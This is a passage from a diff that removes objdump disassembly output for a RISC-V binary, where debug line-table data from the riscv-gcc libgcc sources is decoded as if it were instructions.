-    2f3e:	0100                	addi	s0,sp,128
-    2f40:	fb01                	bnez	a4,2e50 <__stack_size+0x2650>
-    2f42:	0d0e                	slli	s10,s10,0x3
-    2f44:	0100                	addi	s0,sp,128
-    2f46:	0101                	addi	sp,sp,0
-    2f48:	0001                	nop
-    2f4a:	0000                	unimp
-    2f4c:	0001                	nop
-    2f4e:	0100                	addi	s0,sp,128
-    2f50:	2e2e                	fld	ft8,200(sp)
-    2f52:	2f2e2e2f          	0x2f2e2e2f
-    2f56:	2e2e                	fld	ft8,200(sp)
-    2f58:	2f2e2e2f          	0x2f2e2e2f
-    2f5c:	2e2e                	fld	ft8,200(sp)
-    2f5e:	722f2e2f          	0x722f2e2f
-    2f62:	7369                	lui	t1,0xffffa
-    2f64:	672d7663          	bgeu	s10,s2,35d0 <__stack_size+0x2dd0>
-    2f68:	6c2f6363          	bltu	t5,sp,362e <__stack_size+0x2e2e>
-    2f6c:	6269                	lui	tp,0x1a
-    2f6e:	00636367          	0x636367
-    2f72:	6c00                	flw	fs0,24(s0)
-    2f74:	6269                	lui	tp,0x1a
-    2f76:	32636367          	0x32636367
-    2f7a:	632e                	flw	ft6,200(sp)
-    2f7c:	0100                	addi	s0,sp,128
-    2f7e:	0000                	unimp
-    2f80:	696c                	flw	fa1,84(a0)
-    2f82:	6762                	flw	fa4,24(sp)
-    2f84:	2e326363          	bltu	tp,gp,326a <__stack_size+0x2a6a>
-    2f88:	0068                	addi	a0,sp,12
-    2f8a:	0001                	nop
-    2f8c:	0000                	unimp
-    2f8e:	0105                	addi	sp,sp,1
-    2f90:	0500                	addi	s0,sp,640
-    2f92:	1402                	slli	s0,s0,0x20
-    2f94:	402c                	lw	a1,64(s0)
-    2f96:	0320                	addi	s0,sp,392
-    2f98:	0394                	addi	a3,sp,448
-    2f9a:	0501                	addi	a0,a0,0
-    2f9c:	09010303          	lb	t1,144(sp) # 2050090 <__stack_size+0x204f890>
-    2fa0:	0000                	unimp
-    2fa2:	0501                	addi	a0,a0,0
-    2fa4:	0606                	slli	a2,a2,0x1
-    2fa6:	00090003          	lb	zero,0(s2)
-    2faa:	0100                	addi	s0,sp,128
-    2fac:	0305                	addi	t1,t1,1
-    2fae:	0306                	slli	t1,t1,0x1
-    2fb0:	00020903          	lb	s2,0(tp) # 1a000 <__stack_size+0x19800>
-    2fb4:	0301                	addi	t1,t1,0
-    2fb6:	0901                	addi	s2,s2,0
-    2fb8:	0000                	unimp
-    2fba:	0501                	addi	a0,a0,0
-    2fbc:	061a                	slli	a2,a2,0x6
-    2fbe:	00090003          	lb	zero,0(s2)
-    2fc2:	0100                	addi	s0,sp,128
-    2fc4:	0305                	addi	t1,t1,1
-    2fc6:	0306                	slli	t1,t1,0x1
-    2fc8:	0901                	addi	s2,s2,0
-    2fca:	0006                	c.slli	zero,0x1
-    2fcc:	0301                	addi	t1,t1,0
-    2fce:	0902                	c.slli64	s2
-    2fd0:	0000                	unimp
-    2fd2:	0501                	addi	a0,a0,0
-    2fd4:	0606                	slli	a2,a2,0x1
-    2fd6:	00090003          	lb	zero,0(s2)
-    2fda:	0100                	addi	s0,sp,128
-    2fdc:	0705                	addi	a4,a4,1
-    2fde:	0306                	slli	t1,t1,0x1
-    2fe0:	0902                	c.slli64	s2
-    2fe2:	0004                	0x4
-    2fe4:	0501                	addi	a0,a0,0
-    2fe6:	01030627          	0x1030627
-    2fea:	0009                	c.nop	2
-    2fec:	0100                	addi	s0,sp,128
-    2fee:	1005                	c.nop	-31
-    2ff0:	04097f03          	0x4097f03
-    2ff4:	0100                	addi	s0,sp,128
-    2ff6:	0705                	addi	a4,a4,1
-    2ff8:	0306                	slli	t1,t1,0x1
-    2ffa:	0901                	addi	s2,s2,0
-    2ffc:	0002                	c.slli64	zero
-    2ffe:	0501                	addi	a0,a0,0
-    3000:	0624                	addi	s1,sp,776
-    3002:	00090003          	lb	zero,0(s2)
-    3006:	0100                	addi	s0,sp,128
-    3008:	0305                	addi	t1,t1,1
-    300a:	0306                	slli	t1,t1,0x1
-    300c:	090a                	slli	s2,s2,0x2
-    300e:	0004                	0x4
-    3010:	0501                	addi	a0,a0,0
-    3012:	0003060b          	0x3060b
-    3016:	0009                	c.nop	2
-    3018:	0100                	addi	s0,sp,128
-    301a:	0105                	addi	sp,sp,1
-    301c:	02090103          	lb	sp,32(s2)
-    3020:	0100                	addi	s0,sp,128
-    3022:	0705                	addi	a4,a4,1
-    3024:	0306                	slli	t1,t1,0x1
-    3026:	0979                	addi	s2,s2,30
-    3028:	0002                	c.slli64	zero
-    302a:	0301                	addi	t1,t1,0
-    302c:	0902                	c.slli64	s2
-    302e:	0000                	unimp
-    3030:	0501                	addi	a0,a0,0
-    3032:	0625                	addi	a2,a2,9
-    3034:	00090003          	lb	zero,0(s2)
-    3038:	0100                	addi	s0,sp,128
-    303a:	0705                	addi	a4,a4,1
-    303c:	0306                	slli	t1,t1,0x1
-    303e:	0901                	addi	s2,s2,0
-    3040:	0004                	0x4
-    3042:	0501                	addi	a0,a0,0
-    3044:	0624                	addi	s1,sp,776
-    3046:	00090003          	lb	zero,0(s2)
-    304a:	0100                	addi	s0,sp,128
-    304c:	1405                	addi	s0,s0,-31
-    304e:	04097d03          	0x4097d03
-    3052:	0100                	addi	s0,sp,128
-    3054:	2a05                	jal	3184 <__stack_size+0x2984>
-    3056:	04090303          	lb	t1,64(s2)
-    305a:	0100                	addi	s0,sp,128
-    305c:	0409                	addi	s0,s0,2
-    305e:	0000                	unimp
-    3060:	0101                	addi	sp,sp,0
-    3062:	0000074b          	fnmsub.s	fa4,ft0,ft0,ft0,rne
-    3066:	004f0003          	lb	zero,4(t5) # 1a004 <__stack_size+0x19804>
-    306a:	0000                	unimp
-    306c:	0101                	addi	sp,sp,0
-    306e:	000d0efb          	0xd0efb
-    3072:	0101                	addi	sp,sp,0
-    3074:	0101                	addi	sp,sp,0
-    3076:	0000                	unimp
-    3078:	0100                	addi	s0,sp,128
-    307a:	0000                	unimp
-    307c:	2e01                	jal	338c <__stack_size+0x2b8c>
-    307e:	2f2e                	fld	ft10,200(sp)
-    3080:	2e2e                	fld	ft8,200(sp)
-    3082:	2f2e2e2f          	0x2f2e2e2f
-    3086:	2e2e                	fld	ft8,200(sp)
-    3088:	2f2e2e2f          	0x2f2e2e2f
-    308c:	2f2e                	fld	ft10,200(sp)
-    308e:	6972                	flw	fs2,28(sp)
-    3090:	2d766373          	csrrsi	t1,0x2d7,12
-    3094:	2f636367          	0x2f636367
-    3098:	696c                	flw	fa1,84(a0)
-    309a:	6762                	flw	fa4,24(sp)
-    309c:	00006363          	bltu	zero,zero,30a2 <__stack_size+0x28a2>
-    30a0:	696c                	flw	fa1,84(a0)
-    30a2:	6762                	flw	fa4,24(sp)
-    30a4:	2e326363          	bltu	tp,gp,338a <__stack_size+0x2b8a>
-    30a8:	00010063          	beqz	sp,30a8 <__stack_size+0x28a8>
-    30ac:	6c00                	flw	fs0,24(s0)
-    30ae:	6269                	lui	tp,0x1a
-    30b0:	32636367          	0x32636367
-    30b4:	682e                	flw	fa6,200(sp)
-    30b6:	0100                	addi	s0,sp,128
-    30b8:	0000                	unimp
-    30ba:	0500                	addi	s0,sp,640
-    30bc:	0001                	nop
-    30be:	0205                	addi	tp,tp,1
-    30c0:	2c3e                	fld	fs8,456(sp)
-    30c2:	2040                	fld	fs0,128(s0)
-    30c4:	010aa603          	lw	a2,16(s5)
-    30c8:	0305                	addi	t1,t1,1
-    30ca:	00090103          	lb	sp,0(s2)
-    30ce:	0100                	addi	s0,sp,128
-    30d0:	0105                	addi	sp,sp,1
-    30d2:	0306                	slli	t1,t1,0x1
-    30d4:	097f                	0x97f
-    30d6:	0000                	unimp
-    30d8:	0501                	addi	a0,a0,0
-    30da:	d2030603          	lb	a2,-736(t1) # ffff9d20 <_heap_end+0x7ffeb520>
-    30de:	097d                	addi	s2,s2,31
-    30e0:	0002                	c.slli64	zero
-    30e2:	0301                	addi	t1,t1,0
-    30e4:	0901                	addi	s2,s2,0
-    30e6:	0000                	unimp
-    30e8:	0301                	addi	t1,t1,0
-    30ea:	0901                	addi	s2,s2,0
-    30ec:	0000                	unimp
-    30ee:	0301                	addi	t1,t1,0
-    30f0:	0901                	addi	s2,s2,0
-    30f2:	0000                	unimp
-    30f4:	0301                	addi	t1,t1,0
-    30f6:	0901                	addi	s2,s2,0
-    30f8:	0000                	unimp
-    30fa:	0301                	addi	t1,t1,0
-    30fc:	0901                	addi	s2,s2,0
-    30fe:	0000                	unimp
-    3100:	0301                	addi	t1,t1,0
-    3102:	0902                	c.slli64	s2
-    3104:	0000                	unimp
-    3106:	0501                	addi	a0,a0,0
-    3108:	0601                	addi	a2,a2,0
-    310a:	0902a703          	lw	a4,144(t0)
-    310e:	0000                	unimp
-    3110:	0501                	addi	a0,a0,0
-    3112:	0306                	slli	t1,t1,0x1
-    3114:	7dd9                	lui	s11,0xffff6
-    3116:	0209                	addi	tp,tp,2
-    3118:	0100                	addi	s0,sp,128
-    311a:	0305                	addi	t1,t1,1
-    311c:	0306                	slli	t1,t1,0x1
-    311e:	0901                	addi	s2,s2,0
-    3120:	0002                	c.slli64	zero
-    3122:	0501                	addi	a0,a0,0
-    3124:	0606                	slli	a2,a2,0x1
-    3126:	00090003          	lb	zero,0(s2)
-    312a:	0100                	addi	s0,sp,128
-    312c:	0305                	addi	t1,t1,1
-    312e:	0306                	slli	t1,t1,0x1
-    3130:	0901                	addi	s2,s2,0
-    3132:	0002                	c.slli64	zero
-    3134:	0501                	addi	a0,a0,0
-    3136:	0606                	slli	a2,a2,0x1
-    3138:	00090003          	lb	zero,0(s2)
-    313c:	0100                	addi	s0,sp,128
-    313e:	0305                	addi	t1,t1,1
-    3140:	0306                	slli	t1,t1,0x1
-    3142:	0901                	addi	s2,s2,0
-    3144:	0002                	c.slli64	zero
-    3146:	0301                	addi	t1,t1,0
-    3148:	0925                	addi	s2,s2,9
-    314a:	0000                	unimp
-    314c:	0501                	addi	a0,a0,0
-    314e:	0606                	slli	a2,a2,0x1
-    3150:	00090003          	lb	zero,0(s2)
-    3154:	0100                	addi	s0,sp,128
-    3156:	0705                	addi	a4,a4,1
-    3158:	0306                	slli	t1,t1,0x1
-    315a:	0902                	c.slli64	s2
-    315c:	0004                	0x4
-    315e:	0501                	addi	a0,a0,0
-    3160:	060a                	slli	a2,a2,0x2
-    3162:	08090003          	lb	zero,128(s2)
-    3166:	0100                	addi	s0,sp,128
-    3168:	0405                	addi	s0,s0,1
-    316a:	0306                	slli	t1,t1,0x1
-    316c:	0904                	addi	s1,sp,144
-    316e:	0004                	0x4
-    3170:	0301                	addi	t1,t1,0
-    3172:	0900                	addi	s0,sp,144
-    3174:	0000                	unimp
-    3176:	0301                	addi	t1,t1,0
-    3178:	0900                	addi	s0,sp,144
-    317a:	0000                	unimp
-    317c:	0301                	addi	t1,t1,0
-    317e:	0900                	addi	s0,sp,144
-    3180:	0000                	unimp
-    3182:	0301                	addi	t1,t1,0
-    3184:	0900                	addi	s0,sp,144
-    3186:	0000                	unimp
-    3188:	0301                	addi	t1,t1,0
-    318a:	0900                	addi	s0,sp,144
-    318c:	0010                	0x10
-    318e:	0301                	addi	t1,t1,0
-    3190:	0900                	addi	s0,sp,144
-    3192:	0014                	0x14
-    3194:	0301                	addi	t1,t1,0
-    3196:	0902                	c.slli64	s2
-    3198:	0000                	unimp
-    319a:	0501                	addi	a0,a0,0
-    319c:	00030607          	0x30607
-    31a0:	0009                	c.nop	2
-    31a2:	0100                	addi	s0,sp,128
-    31a4:	0805                	addi	a6,a6,1
-    31a6:	0306                	slli	t1,t1,0x1
-    31a8:	0905                	addi	s2,s2,1
-    31aa:	0004                	0x4
-    31ac:	0501                	addi	a0,a0,0
-    31ae:	0611                	addi	a2,a2,4
-    31b0:	00090103          	lb	sp,0(s2)
-    31b4:	0100                	addi	s0,sp,128
-    31b6:	1e05                	addi	t3,t3,-31
-    31b8:	04090003          	lb	zero,64(s2)
-    31bc:	0100                	addi	s0,sp,128
-    31be:	0b05                	addi	s6,s6,1
-    31c0:	04097f03          	0x4097f03
-    31c4:	0100                	addi	s0,sp,128
-    31c6:	0805                	addi	a6,a6,1
-    31c8:	0306                	slli	t1,t1,0x1
-    31ca:	0901                	addi	s2,s2,0
-    31cc:	0004                	0x4
-    31ce:	0501                	addi	a0,a0,0
-    31d0:	0003060b          	0x3060b
-    31d4:	0009                	c.nop	2
-    31d6:	0100                	addi	s0,sp,128
-    31d8:	0805                	addi	a6,a6,1
-    31da:	0306                	slli	t1,t1,0x1
-    31dc:	0901                	addi	s2,s2,0
-    31de:	0002                	c.slli64	zero
-    31e0:	0501                	addi	a0,a0,0
-    31e2:	0003060b          	0x3060b
-    31e6:	0009                	c.nop	2
-    31e8:	0100                	addi	s0,sp,128
-    31ea:	0405                	addi	s0,s0,1
-    31ec:	0306                	slli	t1,t1,0x1
-    31ee:	00040903          	lb	s2,0(s0)
-    31f2:	0301                	addi	t1,t1,0
-    31f4:	0900                	addi	s0,sp,144
-    31f6:	0000                	unimp
-    31f8:	0301                	addi	t1,t1,0
-    31fa:	0900                	addi	s0,sp,144
-    31fc:	0000                	unimp
-    31fe:	0301                	addi	t1,t1,0
-    3200:	0900                	addi	s0,sp,144
-    3202:	0000                	unimp
-    3204:	0301                	addi	t1,t1,0
-    3206:	0900                	addi	s0,sp,144
-    3208:	0004                	0x4
-    320a:	0301                	addi	t1,t1,0
-    320c:	0900                	addi	s0,sp,144
-    320e:	000a                	c.slli	zero,0x2
-    3210:	0301                	addi	t1,t1,0
-    3212:	0900                	addi	s0,sp,144
-    3214:	0008                	0x8
-    3216:	0301                	addi	t1,t1,0
-    3218:	0900                	addi	s0,sp,144
-    321a:	0000                	unimp
-    321c:	0301                	addi	t1,t1,0
-    321e:	0900                	addi	s0,sp,144
-    3220:	0006                	c.slli	zero,0x1
-    3222:	0301                	addi	t1,t1,0
-    3224:	0900                	addi	s0,sp,144
-    3226:	0004                	0x4
-    3228:	0301                	addi	t1,t1,0
-    322a:	0900                	addi	s0,sp,144
-    322c:	0004                	0x4
-    322e:	0301                	addi	t1,t1,0
-    3230:	0900                	addi	s0,sp,144
-    3232:	0006                	c.slli	zero,0x1
-    3234:	0301                	addi	t1,t1,0
-    3236:	0900                	addi	s0,sp,144
-    3238:	0004                	0x4
-    323a:	0301                	addi	t1,t1,0
-    323c:	0900                	addi	s0,sp,144
-    323e:	0004                	0x4
-    3240:	0301                	addi	t1,t1,0
-    3242:	0900                	addi	s0,sp,144
-    3244:	0006                	c.slli	zero,0x1
-    3246:	0301                	addi	t1,t1,0
-    3248:	0900                	addi	s0,sp,144
-    324a:	0002                	c.slli64	zero
-    324c:	0301                	addi	t1,t1,0
-    324e:	0900                	addi	s0,sp,144
-    3250:	0004                	0x4
-    3252:	0301                	addi	t1,t1,0
-    3254:	0900                	addi	s0,sp,144
-    3256:	000a                	c.slli	zero,0x2
-    3258:	0301                	addi	t1,t1,0
-    325a:	0900                	addi	s0,sp,144
-    325c:	000a                	c.slli	zero,0x2
-    325e:	0301                	addi	t1,t1,0
-    3260:	0900                	addi	s0,sp,144
-    3262:	0000                	unimp
-    3264:	0301                	addi	t1,t1,0
-    3266:	0900                	addi	s0,sp,144
-    3268:	0006                	c.slli	zero,0x1
-    326a:	0301                	addi	t1,t1,0
-    326c:	0900                	addi	s0,sp,144
-    326e:	0006                	c.slli	zero,0x1
-    3270:	0301                	addi	t1,t1,0
-    3272:	0900                	addi	s0,sp,144
-    3274:	0004                	0x4
-    3276:	0301                	addi	t1,t1,0
-    3278:	0900                	addi	s0,sp,144
-    327a:	0004                	0x4
-    327c:	0301                	addi	t1,t1,0
-    327e:	0900                	addi	s0,sp,144
-    3280:	0004                	0x4
-    3282:	0301                	addi	t1,t1,0
-    3284:	0900                	addi	s0,sp,144
-    3286:	0000                	unimp
-    3288:	0301                	addi	t1,t1,0
-    328a:	0900                	addi	s0,sp,144
-    328c:	0004                	0x4
-    328e:	0301                	addi	t1,t1,0
-    3290:	0900                	addi	s0,sp,144
-    3292:	0000                	unimp
-    3294:	0301                	addi	t1,t1,0
-    3296:	0901                	addi	s2,s2,0
-    3298:	0000                	unimp
-    329a:	0501                	addi	a0,a0,0
-    329c:	fe03060b          	0xfe03060b
-    32a0:	0900                	addi	s0,sp,144
-    32a2:	0000                	unimp
-    32a4:	0501                	addi	a0,a0,0
-    32a6:	0304                	addi	s1,sp,384
-    32a8:	7ef5                	lui	t4,0xffffd
-    32aa:	0409                	addi	s0,s0,2
-    32ac:	0100                	addi	s0,sp,128
-    32ae:	0306                	slli	t1,t1,0x1
-    32b0:	0915                	addi	s2,s2,5
-    32b2:	000e                	c.slli	zero,0x3
-    32b4:	0501                	addi	a0,a0,0
-    32b6:	00030607          	0x30607
-    32ba:	0009                	c.nop	2
-    32bc:	0100                	addi	s0,sp,128
-    32be:	0605                	addi	a2,a2,1
-    32c0:	0306                	slli	t1,t1,0x1
-    32c2:	0901                	addi	s2,s2,0
-    32c4:	0002                	c.slli64	zero
-    32c6:	0501                	addi	a0,a0,0
-    32c8:	0609                	addi	a2,a2,2
-    32ca:	00090003          	lb	zero,0(s2)
-    32ce:	0100                	addi	s0,sp,128
-    32d0:	0405                	addi	s0,s0,1
-    32d2:	0306                	slli	t1,t1,0x1
-    32d4:	0902                	c.slli64	s2
-    32d6:	0006                	c.slli	zero,0x1
-    32d8:	0301                	addi	t1,t1,0
-    32da:	0900                	addi	s0,sp,144
-    32dc:	0000                	unimp
-    32de:	0301                	addi	t1,t1,0
-    32e0:	0900                	addi	s0,sp,144
-    32e2:	0000                	unimp
-    32e4:	0301                	addi	t1,t1,0
-    32e6:	0900                	addi	s0,sp,144
-    32e8:	0000                	unimp
-    32ea:	0301                	addi	t1,t1,0
-    32ec:	0900                	addi	s0,sp,144
-    32ee:	0000                	unimp
-    32f0:	0301                	addi	t1,t1,0
-    32f2:	0900                	addi	s0,sp,144
-    32f4:	0010                	0x10
-    32f6:	0301                	addi	t1,t1,0
-    32f8:	0900                	addi	s0,sp,144
-    32fa:	0014                	0x14
-    32fc:	0301                	addi	t1,t1,0
-    32fe:	0902                	c.slli64	s2
-    3300:	0000                	unimp
-    3302:	0501                	addi	a0,a0,0
-    3304:	00030607          	0x30607
-    3308:	0009                	c.nop	2
-    330a:	0100                	addi	s0,sp,128
-    330c:	0805                	addi	a6,a6,1
-    330e:	0306                	slli	t1,t1,0x1
-    3310:	0909                	addi	s2,s2,2
-    3312:	0004                	0x4
-    3314:	0501                	addi	a0,a0,0
-    3316:	0003060b          	0x3060b
-    331a:	0009                	c.nop	2
-    331c:	0100                	addi	s0,sp,128
-    331e:	0805                	addi	a6,a6,1
-    3320:	0306                	slli	t1,t1,0x1
-    3322:	0901                	addi	s2,s2,0
-    3324:	0004                	0x4
-    3326:	0501                	addi	a0,a0,0
-    3328:	0003060b          	0x3060b
-    332c:	0009                	c.nop	2
-    332e:	0100                	addi	s0,sp,128
-    3330:	0805                	addi	a6,a6,1
-    3332:	0306                	slli	t1,t1,0x1
-    3334:	090d                	addi	s2,s2,3
-    3336:	0002                	c.slli64	zero
-    3338:	0501                	addi	a0,a0,0
-    333a:	0304                	addi	s1,sp,384
-    333c:	0905                	addi	s2,s2,1
-    333e:	0000                	unimp
-    3340:	0301                	addi	t1,t1,0
-    3342:	0900                	addi	s0,sp,144
-    3344:	0000                	unimp
-    3346:	0301                	addi	t1,t1,0
-    3348:	0900                	addi	s0,sp,144
-    334a:	0000                	unimp
-    334c:	0301                	addi	t1,t1,0
-    334e:	0900                	addi	s0,sp,144
-    3350:	0000                	unimp
-    3352:	0301                	addi	t1,t1,0
-    3354:	0900                	addi	s0,sp,144
-    3356:	0004                	0x4
-    3358:	0301                	addi	t1,t1,0
-    335a:	0900                	addi	s0,sp,144
-    335c:	0006                	c.slli	zero,0x1
-    335e:	0301                	addi	t1,t1,0
-    3360:	0900                	addi	s0,sp,144
-    3362:	0008                	0x8
-    3364:	0301                	addi	t1,t1,0
-    3366:	0900                	addi	s0,sp,144
-    3368:	0004                	0x4
-    336a:	0301                	addi	t1,t1,0
-    336c:	0900                	addi	s0,sp,144
-    336e:	0008                	0x8
-    3370:	0301                	addi	t1,t1,0
-    3372:	0900                	addi	s0,sp,144
-    3374:	0000                	unimp
-    3376:	0301                	addi	t1,t1,0
-    3378:	0900                	addi	s0,sp,144
-    337a:	0006                	c.slli	zero,0x1
-    337c:	0301                	addi	t1,t1,0
-    337e:	0900                	addi	s0,sp,144
-    3380:	0006                	c.slli	zero,0x1
-    3382:	0301                	addi	t1,t1,0
-    3384:	0900                	addi	s0,sp,144
-    3386:	0004                	0x4
-    3388:	0301                	addi	t1,t1,0
-    338a:	0900                	addi	s0,sp,144
-    338c:	0004                	0x4
-    338e:	0301                	addi	t1,t1,0
-    3390:	0900                	addi	s0,sp,144
-    3392:	0006                	c.slli	zero,0x1
-    3394:	0301                	addi	t1,t1,0
-    3396:	0900                	addi	s0,sp,144
-    3398:	0004                	0x4
-    339a:	0301                	addi	t1,t1,0
-    339c:	0900                	addi	s0,sp,144
-    339e:	0004                	0x4
-    33a0:	0301                	addi	t1,t1,0
-    33a2:	0900                	addi	s0,sp,144
-    33a4:	000a                	c.slli	zero,0x2
-    33a6:	0301                	addi	t1,t1,0
-    33a8:	0900                	addi	s0,sp,144
-    33aa:	000a                	c.slli	zero,0x2
-    33ac:	0301                	addi	t1,t1,0
-    33ae:	0900                	addi	s0,sp,144
-    33b0:	0000                	unimp
-    33b2:	0301                	addi	t1,t1,0
-    33b4:	0900                	addi	s0,sp,144
-    33b6:	0006                	c.slli	zero,0x1
-    33b8:	0301                	addi	t1,t1,0
-    33ba:	0900                	addi	s0,sp,144
-    33bc:	0006                	c.slli	zero,0x1
-    33be:	0301                	addi	t1,t1,0
-    33c0:	0900                	addi	s0,sp,144
-    33c2:	0004                	0x4
-    33c4:	0301                	addi	t1,t1,0
-    33c6:	0900                	addi	s0,sp,144
-    33c8:	0004                	0x4
-    33ca:	0301                	addi	t1,t1,0
-    33cc:	0900                	addi	s0,sp,144
-    33ce:	0004                	0x4
-    33d0:	0301                	addi	t1,t1,0
-    33d2:	0900                	addi	s0,sp,144
-    33d4:	0000                	unimp
-    33d6:	0301                	addi	t1,t1,0
-    33d8:	0900                	addi	s0,sp,144
-    33da:	0004                	0x4
-    33dc:	0501                	addi	a0,a0,0
-    33de:	00e30303          	lb	t1,14(t1)
-    33e2:	0009                	c.nop	2
-    33e4:	0100                	addi	s0,sp,128
-    33e6:	00090103          	lb	sp,0(s2)
-    33ea:	0100                	addi	s0,sp,128
-    33ec:	0105                	addi	sp,sp,1
-    33ee:	0306                	slli	t1,t1,0x1
-    33f0:	00e1                	addi	ra,ra,24
-    33f2:	0009                	c.nop	2
-    33f4:	0100                	addi	s0,sp,128
-    33f6:	0405                	addi	s0,s0,1
-    33f8:	097e9d03          	lh	s10,151(t4) # ffffd097 <_heap_end+0x7ffee897>
-    33fc:	0002                	c.slli64	zero
-    33fe:	0501                	addi	a0,a0,0
-    3400:	0608                	addi	a0,sp,768
-    3402:	0e091203          	lh	tp,224(s2)
-    3406:	0100                	addi	s0,sp,128
-    3408:	00090203          	lb	tp,0(s2)
-    340c:	0100                	addi	s0,sp,128
-    340e:	0b05                	addi	s6,s6,1
-    3410:	0306                	slli	t1,t1,0x1
-    3412:	0900                	addi	s0,sp,144
-    3414:	0000                	unimp
-    3416:	0501                	addi	a0,a0,0
-    3418:	0608                	addi	a0,sp,768
-    341a:	04090103          	lb	sp,64(s2)
-    341e:	0100                	addi	s0,sp,128
-    3420:	0b05                	addi	s6,s6,1
-    3422:	0306                	slli	t1,t1,0x1
-    3424:	0900                	addi	s0,sp,144
-    3426:	0000                	unimp
-    3428:	0501                	addi	a0,a0,0
-    342a:	0608                	addi	a0,sp,768
-    342c:	04090103          	lb	sp,64(s2)
-    3430:	0100                	addi	s0,sp,128
-    3432:	0b05                	addi	s6,s6,1
-    3434:	0306                	slli	t1,t1,0x1
-    3436:	0901                	addi	s2,s2,0
-    3438:	0000                	unimp
-    343a:	0501                	addi	a0,a0,0
-    343c:	0311                	addi	t1,t1,4
-    343e:	097f                	0x97f
-    3440:	0004                	0x4
-    3442:	0501                	addi	a0,a0,0
-    3444:	031e                	slli	t1,t1,0x7
-    3446:	0900                	addi	s0,sp,144
-    3448:	0004                	0x4
-    344a:	0501                	addi	a0,a0,0
-    344c:	0308                	addi	a0,sp,384
-    344e:	00040903          	lb	s2,0(s0)
-    3452:	0501                	addi	a0,a0,0
-    3454:	097d030b          	0x97d030b
-    3458:	0004                	0x4
-    345a:	0501                	addi	a0,a0,0
-    345c:	0608                	addi	a0,sp,768
-    345e:	04090103          	lb	sp,64(s2)
-    3462:	0100                	addi	s0,sp,128
-    3464:	00090203          	lb	tp,0(s2)
-    3468:	0100                	addi	s0,sp,128
-    346a:	00090003          	lb	zero,0(s2)
-    346e:	0100                	addi	s0,sp,128
-    3470:	00090003          	lb	zero,0(s2)
-    3474:	0100                	addi	s0,sp,128
-    3476:	00090003          	lb	zero,0(s2)
-    347a:	0100                	addi	s0,sp,128
-    347c:	00090003          	lb	zero,0(s2)
-    3480:	0100                	addi	s0,sp,128
-    3482:	0a090003          	lb	zero,160(s2)
-    3486:	0100                	addi	s0,sp,128
-    3488:	00090003          	lb	zero,0(s2)
-    348c:	0100                	addi	s0,sp,128
-    348e:	08090003          	lb	zero,128(s2)
-    3492:	0100                	addi	s0,sp,128
-    3494:	08090003          	lb	zero,128(s2)
-    3498:	0100                	addi	s0,sp,128
-    349a:	00090003          	lb	zero,0(s2)
-    349e:	0100                	addi	s0,sp,128
-    34a0:	06090003          	lb	zero,96(s2)
-    34a4:	0100                	addi	s0,sp,128
-    34a6:	06090003          	lb	zero,96(s2)
-    34aa:	0100                	addi	s0,sp,128
-    34ac:	04090003          	lb	zero,64(s2)
-    34b0:	0100                	addi	s0,sp,128
-    34b2:	04090003          	lb	zero,64(s2)
-    34b6:	0100                	addi	s0,sp,128
-    34b8:	06090003          	lb	zero,96(s2)
-    34bc:	0100                	addi	s0,sp,128
-    34be:	04090003          	lb	zero,64(s2)
-    34c2:	0100                	addi	s0,sp,128
-    34c4:	04090003          	lb	zero,64(s2)
-    34c8:	0100                	addi	s0,sp,128
-    34ca:	08090003          	lb	zero,128(s2)
-    34ce:	0100                	addi	s0,sp,128
-    34d0:	06090003          	lb	zero,96(s2)
-    34d4:	0100                	addi	s0,sp,128
-    34d6:	04090003          	lb	zero,64(s2)
-    34da:	0100                	addi	s0,sp,128
-    34dc:	06090003          	lb	zero,96(s2)
-    34e0:	0100                	addi	s0,sp,128
-    34e2:	06090003          	lb	zero,96(s2)
-    34e6:	0100                	addi	s0,sp,128
-    34e8:	04090003          	lb	zero,64(s2)
-    34ec:	0100                	addi	s0,sp,128
-    34ee:	04090003          	lb	zero,64(s2)
-    34f2:	0100                	addi	s0,sp,128
-    34f4:	06090003          	lb	zero,96(s2)
-    34f8:	0100                	addi	s0,sp,128
-    34fa:	04090003          	lb	zero,64(s2)
-    34fe:	0100                	addi	s0,sp,128
-    3500:	02090003          	lb	zero,32(s2)
-    3504:	0100                	addi	s0,sp,128
-    3506:	0705                	addi	a4,a4,1
-    3508:	02091503          	lh	a0,32(s2)
-    350c:	0100                	addi	s0,sp,128
-    350e:	0a05                	addi	s4,s4,1
-    3510:	0306                	slli	t1,t1,0x1
-    3512:	0900                	addi	s0,sp,144
-    3514:	0000                	unimp
-    3516:	0501                	addi	a0,a0,0
-    3518:	0604                	addi	s1,sp,768
-    351a:	04091303          	lh	t1,64(s2)
-    351e:	0100                	addi	s0,sp,128
-    3520:	00090003          	lb	zero,0(s2)
-    3524:	0100                	addi	s0,sp,128
-    3526:	00090003          	lb	zero,0(s2)
-    352a:	0100                	addi	s0,sp,128
-    352c:	00090003          	lb	zero,0(s2)
-    3530:	0100                	addi	s0,sp,128
-    3532:	00090003          	lb	zero,0(s2)
-    3536:	0100                	addi	s0,sp,128
-    3538:	10090003          	lb	zero,256(s2)
-    353c:	0100                	addi	s0,sp,128
-    353e:	1c090003          	lb	zero,448(s2)
-    3542:	0100                	addi	s0,sp,128
-    3544:	00090103          	lb	sp,0(s2)
-    3548:	0100                	addi	s0,sp,128
-    354a:	0705                	addi	a4,a4,1
-    354c:	0306                	slli	t1,t1,0x1
-    354e:	0900                	addi	s0,sp,144
-    3550:	0000                	unimp
-    3552:	0501                	addi	a0,a0,0
-    3554:	0608                	addi	a0,sp,768
-    3556:	04090a03          	lb	s4,64(s2)
-    355a:	0100                	addi	s0,sp,128
-    355c:	0306                	slli	t1,t1,0x1
-    355e:	0902                	c.slli64	s2
-    3560:	0000                	unimp
-    3562:	0501                	addi	a0,a0,0
-    3564:	097e030b          	0x97e030b
-    3568:	0002                	c.slli64	zero
-    356a:	0501                	addi	a0,a0,0
-    356c:	0314                	addi	a3,sp,384
-    356e:	0900                	addi	s0,sp,144
-    3570:	0004                	0x4
-    3572:	0501                	addi	a0,a0,0
-    3574:	0304                	addi	s1,sp,384
-    3576:	0975                	addi	s2,s2,29
-    3578:	000a                	c.slli	zero,0x2
-    357a:	0501                	addi	a0,a0,0
-    357c:	0608                	addi	a0,sp,768
-    357e:	0e091e03          	lh	t3,224(s2)
-    3582:	0100                	addi	s0,sp,128
-    3584:	00090303          	lb	t1,0(s2)
-    3588:	0100                	addi	s0,sp,128
-    358a:	00090203          	lb	tp,0(s2)
-    358e:	0100                	addi	s0,sp,128
-    3590:	1e05                	addi	t3,t3,-31
-    3592:	0306                	slli	t1,t1,0x1
-    3594:	0900                	addi	s0,sp,144
-    3596:	0000                	unimp
-    3598:	0501                	addi	a0,a0,0
